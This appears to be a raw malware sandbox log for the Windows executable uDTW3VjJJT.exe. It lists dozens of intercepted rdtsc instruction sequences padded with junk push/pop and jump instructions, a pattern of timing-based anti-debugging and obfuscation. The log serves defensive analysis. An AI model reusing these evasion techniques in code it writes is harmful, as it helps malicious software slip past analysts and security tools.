Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C219B4 second address: C219CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610E8A87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C219CF second address: C219F6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F43610807A6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F43610807B7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C297D6 second address: C297DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C297DC second address: C297EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F43610807A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C297EC second address: C297F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C297F0 second address: C2981B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F43610807A6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F43610807A8h 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F43610807B2h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C2981B second address: C29821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C29821 second address: C29838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C31E1B second address: C31E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jc 00007F43610E8A76h 0x0000000c pop edx 0x0000000d jmp 00007F43610E8A83h 0x00000012 jnp 00007F43610E8A8Dh 0x00000018 jmp 00007F43610E8A81h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C30669 second address: C30673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F43610807A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C30673 second address: C30677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3091E second address: C30922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C30A73 second address: C30A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C31AEC second address: C31B1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AFh 0x00000007 jmp 00007F43610807B4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F43610807AEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C31B1E second address: C31B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C31B24 second address: C31B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C35C47 second address: C35C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C35C4B second address: C35C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3E972 second address: C3E976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3E976 second address: C3E97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3E97C second address: C3E997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610E8A87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3E997 second address: C3E99B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C3E820 second address: C3E83F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A85h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F43610E8A76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C4714E second address: C47189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F43610807B3h 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007F43610807A6h 0x00000015 pop edx 0x00000016 push ebx 0x00000017 jmp 00007F43610807ADh 0x0000001c pushad 0x0000001d jg 00007F43610807A6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C40CD6 second address: C40CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610E8A7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C40CE6 second address: C40CEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C40CEA second address: C40CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C40CF2 second address: C40D14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F43610807A6h 0x00000009 jmp 00007F43610807B4h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C40D14 second address: C40D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C565AB second address: C565C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C565C4 second address: C565D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F43610E8A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C562FA second address: C5630D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007F43610807A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C5630D second address: C56315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6AB8D second address: C6AB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C69DB8 second address: C69DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C69DBE second address: C69DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F43610807B6h 0x0000000a jo 00007F43610807AEh 0x00000010 push edi 0x00000011 pop edi 0x00000012 jno 00007F43610807A6h 0x00000018 popad 0x00000019 pushad 0x0000001a ja 00007F43610807ACh 0x00000020 push ecx 0x00000021 push edx 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A0AF second address: C6A0B9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F43610E8A82h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A73E second address: C6A746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A746 second address: C6A753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007F43610E8A8Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A8C4 second address: C6A8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A8CA second address: C6A8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6A8CE second address: C6A8D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6D59D second address: C6D5AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6DA9B second address: C6DA9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6DA9F second address: C6DADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F43610E8A86h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122DB4F5h], ecx 0x00000015 push dword ptr [ebp+122D18D9h] 0x0000001b sub edx, dword ptr [ebp+122D356Bh] 0x00000021 push C486ACC4h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 je 00007F43610E8A76h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: C6ED92 second address: C6ED96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: B8D767 second address: B8D76D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E06B2 second address: 52E06FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F43610807AEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov dx, 27F4h 0x00000015 mov ax, bx 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F43610807B2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E06FD second address: 52E070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610E8A7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E081D second address: 52E0823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D003C second address: 52D0040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0040 second address: 52D004E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D004E second address: 52D0099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f pushfd 0x00000010 jmp 00007F43610E8A87h 0x00000015 and cl, FFFFFFFEh 0x00000018 jmp 00007F43610E8A89h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0099 second address: 52D0111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, B412h 0x00000007 mov ebx, 6F1CFF5Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov edi, 58739C36h 0x00000017 mov dx, 45C2h 0x0000001b popad 0x0000001c sub esp, 2Ch 0x0000001f pushad 0x00000020 jmp 00007F43610807AFh 0x00000025 call 00007F43610807B8h 0x0000002a call 00007F43610807B2h 0x0000002f pop esi 0x00000030 pop edi 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 movzx ecx, di 0x00000037 movsx ebx, ax 0x0000003a popad 0x0000003b push eax 0x0000003c jmp 00007F43610807ABh 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0111 second address: 52D0117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0117 second address: 52D011D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D011D second address: 52D013F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43610E8A87h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D018E second address: 52D01C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F43610807B1h 0x00000010 sub edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F43610807AAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D01C5 second address: 52D01CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D01CB second address: 52D01E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D01E5 second address: 52D01E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D01E9 second address: 52D01EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D02A7 second address: 52D02EC instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F43610E8A85h 0x0000000d xor ax, 1F76h 0x00000012 jmp 00007F43610E8A81h 0x00000017 popfd 0x00000018 popad 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F43610E8A7Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D02EC second address: 52D02FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610807ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D032A second address: 52D03A2 instructions: 0x00000000 rdtsc 0x00000002 mov bl, 1Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F43610E8A86h 0x0000000c or esi, 345D6088h 0x00000012 jmp 00007F43610E8A7Bh 0x00000017 popfd 0x00000018 popad 0x00000019 test eax, eax 0x0000001b jmp 00007F43610E8A86h 0x00000020 jg 00007F43D2776B90h 0x00000026 pushad 0x00000027 mov bx, si 0x0000002a pushfd 0x0000002b jmp 00007F43610E8A7Ah 0x00000030 adc ch, 00000018h 0x00000033 jmp 00007F43610E8A7Bh 0x00000038 popfd 0x00000039 popad 0x0000003a js 00007F43610E8AF5h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D03A2 second address: 52D03A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D03A6 second address: 52D0406 instructions: 0x00000000 rdtsc 0x00000002 call 00007F43610E8A80h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F43610E8A7Bh 0x00000010 xor ah, FFFFFF8Eh 0x00000013 jmp 00007F43610E8A89h 0x00000018 popfd 0x00000019 popad 0x0000001a cmp dword ptr [ebp-14h], edi 0x0000001d jmp 00007F43610E8A7Eh 0x00000022 jne 00007F43D2776B1Bh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop ecx 0x0000002d mov dx, 304Ch 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0406 second address: 52D048A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007F43610807B0h 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007F43610807B0h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F43610807ADh 0x00000023 xor ch, 00000036h 0x00000026 jmp 00007F43610807B1h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F43610807B0h 0x00000032 or ah, 00000058h 0x00000035 jmp 00007F43610807ABh 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D048A second address: 52D049D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov bx, 8946h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D049D second address: 52D04A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 35C62B2Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D04A7 second address: 52D04BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 mov dx, E7CEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D04BB second address: 52D04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D04BF second address: 52D04C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D04C3 second address: 52D04C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D04C9 second address: 52D0527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F43610E8A7Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F43610E8A81h 0x00000016 movzx eax, dx 0x00000019 popad 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007F43610E8A84h 0x00000023 mov ebx, esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0527 second address: 52D052D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D052D second address: 52D0531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0531 second address: 52D056D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F43610807B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D056D second address: 52D0573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D05FF second address: 52D0605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0605 second address: 52D0622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov si, 2363h 0x0000000f mov ecx, 6D0492BFh 0x00000014 popad 0x00000015 test esi, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0622 second address: 52D0626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0626 second address: 52D063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D063D second address: 52D0643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0643 second address: 52D0647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
